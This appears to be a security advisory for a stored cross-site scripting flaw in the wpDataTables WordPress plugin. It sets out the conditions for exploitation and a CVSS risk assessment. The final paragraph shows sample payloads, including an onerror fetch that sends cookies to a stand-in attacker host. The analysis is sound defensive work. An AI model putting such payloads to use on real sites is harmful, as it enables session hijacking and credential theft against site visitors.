Wpdatatables EUVD-2026-23981

Exploitation requires the following specific, concrete conditions: (1) An Administrator must be socially engineered or tricked into initiating a data import operation via the wpDataTables import interface (Tools > Import Table or equivalent menu). (2) The attacker-controlled data source (CSV, JSON, or other import format) must contain malicious payloads in a field mapped to a Link, Image, or Email column type. (3) The WordPress site must have at least one Link, Image, or Email column configured in an active table. (4) The Administrator must complete the import without manual sanitization or validation of the imported data. Exploitation is NOT possible against sites where: administrators are restricted from import functionality, only non-table-column data is imported, or the plugin's table columns are configured using only Text or Number column types. No exploitation is possible without Administrator action; this is not a remote unauthenticated attack against a default configuration but rather requires social engineering and administrative privilege interaction.

CVSS 4.7 with network vector, high complexity (AC:H), no authentication required (PR:N), and user interaction required (UI:R) presents a nuanced risk profile. The AC:H and UI:R factors are critical: the attack requires both an Administrator to be tricked into importing attacker-supplied data AND requires user interaction at the import step, substantially reducing real-world exploitation likelihood compared to a network vector alone. However, the Scope Change (S:C) indicates confidentiality and integrity impact beyond the vulnerable component. EPSS score not provided, limiting quantitative exploitation probability assessment. The absence of confirmed active exploitation (no CISA KEV listing or public POC) and the requirement for social engineering of an Administrator suggest this is a lower real-world priority than CVSS alone implies. Organizations with strict data import controls or those that do not use the affected column types (Link, Image, Email) face minimal risk. The stored XSS nature means a single successful import compromises all users viewing affected pages, amplifying impact once exploited. Signal conflict: high CVSS but gated by unusual prerequisites (social engineering + admin interaction) suggests defensive rating should weight AC:H and UI:R heavily.

An attacker crafts a CSV file containing malicious JavaScript in a Link, Image, or Email column (e.g., href='javascript:alert(1)' or src='x' onerror='fetch(attacker.com/log?cookie=...'). The attacker tricks a WordPress Administrator via phishing or social engineering into importing this CSV file via the wpDataTables import interface. Once imported and stored in the database, the malicious payload executes in the browsers of all website visitors viewing the table, allowing credential theft, session hijacking, or malware redirection. The stored nature ensures persistence across page reloads and visits by different users.